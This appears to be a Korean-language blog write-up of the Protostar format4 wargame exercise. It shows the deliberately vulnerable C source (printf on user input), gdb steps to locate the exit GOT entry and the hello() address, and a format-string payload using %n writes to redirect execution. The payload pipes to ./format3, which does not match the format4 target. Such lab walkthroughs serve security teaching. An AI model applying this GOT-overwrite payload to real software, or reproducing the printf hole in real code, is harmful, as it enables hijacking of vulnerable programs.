int target; void hello() { printf("code execution redirected! you win\n"); _exit(1); } void vuln() { char buffer[512]; fgets(buffer, sizeof(buffer), stdin); printf(buffer); exit(1); } int main(int argc, char **argv) { vuln(); }
출처: http://liveoverflow.com/binary_hacking/protostar/format4.html
1. 문제 해결 및 분석
1-1. exploit할 위치 확인
vuln() 함수의 exit 부분을 hello() 함수로 변경해야 한다.
1-2. gdb ./format4
disas vuln으로 exit의 위치 파악
vuln+61 라인을 보면 exit@plt를 볼 수 있다.
즉, exit got 구해서 hello() 함수의 주소값으로 바꾸어야 한다.
vuln+61 라인 주소값을
disas 0x80483ec
한다.
드래그된 부분이 exit got 부분이다.
exit got ; 0x8049724
1-3. print hello
print hello 혹
disas hello
hello ; 0x080484b4
결론적으로 exit got ; 0x8049724 -> hello ; 0x080484b4
변경하면 된다.
payload는
echo $(python -c "print 'AAAA' + '\xf4\x96\x04\x08' +'BBBB' + '\xf5\x96\x04\x08' + 'CCCC'+ '\xf7\x96\x04\x08' + '%x.' * 11 + '%213x.%n.%271x.%n.%170x.%n.'") | ./format3
이걸 파이썬으로 응용하였다.
2. 분석
2-1. python format4.py
2-2. gdb 확인
gdb ./format4
disas vuln
b *vuln+61
r < payload
x/wx exit got 주소값
확인 결과 hello() 함수의 주소값이 들어갔음을 알 수 있다.
2-3. 결론
cat < payload | ./format4
성공!
참고 자료: https://www.inflearn.com/course/%ED%94%84%EB%A1%9C%ED%86%A0%EC%8A%A4%ED%83%80/
피드백 환영입니다!
'프로토스타' 카테고리의 다른 글
[프로토스타] heap1 (0) | 2019.01.24 |
---|---|
[프로토스타] heap0 (0) | 2019.01.23 |
[프로토스타] format3 (0) | 2019.01.23 |
[프로토스타] format2 (0) | 2019.01.22 |
[프로토스타] format1 (0) | 2019.01.22 |